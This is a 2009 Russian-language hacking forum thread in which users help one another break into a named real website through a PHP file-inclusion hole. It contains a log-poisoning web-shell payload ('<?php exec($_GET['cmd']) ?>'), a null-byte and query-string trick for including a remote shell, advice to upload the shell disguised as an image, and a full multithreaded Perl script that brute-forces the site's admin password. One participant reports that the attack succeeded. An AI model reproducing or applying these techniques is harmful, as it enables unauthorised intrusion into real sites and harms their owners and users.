PDA

Просмотр полной версии : Инклюд )


DeepBlue7
27.01.2009, 21:21
Вообщем нашел сайтег.... довольно популярный... там php инклюдинг... При вводе несуществующей страницы вылитает

Warning: include() [function.include]: URL file-access is disabled in the server configuration in /hosting/www/main/samp/v2/index.php on line 369

Warning: include(http://someweb.com/shell.php) [function.include]: failed to open stream: no suitable wrapper could be found in /hosting/www/main/samp/v2/index.php on line 369

Warning: include() [function.include]: Failed opening 'http://someweb.com/shell.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /hosting/www/main/samp/v2/index.php on line 369




Инклюд типа

someweb.ru/v2/index.php?page=http://someweb.com/shell&lang=ru&PHPSESSID=0548fe13c6b6c63e4bbd59538e1c77da



Есть какие либо варианты как залить шелл ?

oRb
27.01.2009, 21:37
Удаленный инклюд запрещен, попробуй залить шелл, к примеру, как картинку, и проинклюдь его.

ps: _http://www.dyc.lv ? :D

geezer.code
27.01.2009, 21:42
попробуй залить через логи,
только учти попытка будет всего одна ;)
а потом проведи локальный инклуд.

DeepBlue7
27.01.2009, 21:51
попробуй залить через логи,
только учти попытка будет всего одна ;)
а потом проведи локальный инклуд.

Эт как ? :P Что ты имееш в виду ? :D

geezer.code
27.01.2009, 21:57
например делаешь запрос к существующей странице
www.site.com/index.php?myadd=<?php exec($_GET['cmd']) ?>

этот запрос должен попасть в access.log
после этого нужно этот аксес-лог проинклудить.

и по идее утебя получится мини шелл... после этого можешь уже загрузить чтото посущественнее.

eLWAux
27.01.2009, 21:59
...или пробрути (perl; в password.txt пароли):
#! /usr/bin/perl -w

use IO::Socket;
use warnings;
use threads;
use threads::shared;
use Fcntl ':flock';

print "
simple brute
by eLwaux
\n";

my $threads = 10;
my $host = 'dyc.lv';
my $login = 'http://www.dyc.lv/v2/admins.php';

open (FILE, '<password.txt') || die(" [-] icqmailc.com.pass.txt not found!\n");
my @pas : shared = <FILE>;
chomp(@pas);
close(FILE);

$time = time;
printf " [ ] started [".localtime()."]\n\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

$time = time-$time;
printf "\n [ ] finished [".localtime()."]\n";
printf " [i] time elapsed: $time sec\n";

<stdin>;

sub Brut{

while(@pas)
{
{lock(@pas);$pasw = shift @pas;}

$post = 'parole='.$pasw;
$header =
"POST ".$login." HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: mde\r\n".
"Referer: ".$login."\r\n".
"Cookie: hello=world;\r\n".
"Content-Length: ".length($post)."\r\n\r\n".
"$post\r\n\r\n";

my $sock = sock();
print $sock $header;

my $answ;
while(my $answer = <$sock>){$answ.=$answer;}

if (length($answ)==947) {print ' - ';}
else {print ' +++++++++++ ';}
print $pasw."\n";

close($sock);
}
}

#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => $host,
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}
:D

DeepBlue7
27.01.2009, 22:02
Да в том то и прикол что он после названия добавляет еще и .php

eLWAux
27.01.2009, 22:06
%00
?cmd=http://site.ua/shell.php?

Daboy
05.03.2009, 00:13
УРА! Спасибо у меня получилось.
Скрин:
http://bildem.lv/bildes/04c347ced80b51dee333d8263bf7f6cc.JPG
А у вас?

Tigger
05.03.2009, 00:20
Сбрутил что ли? о_0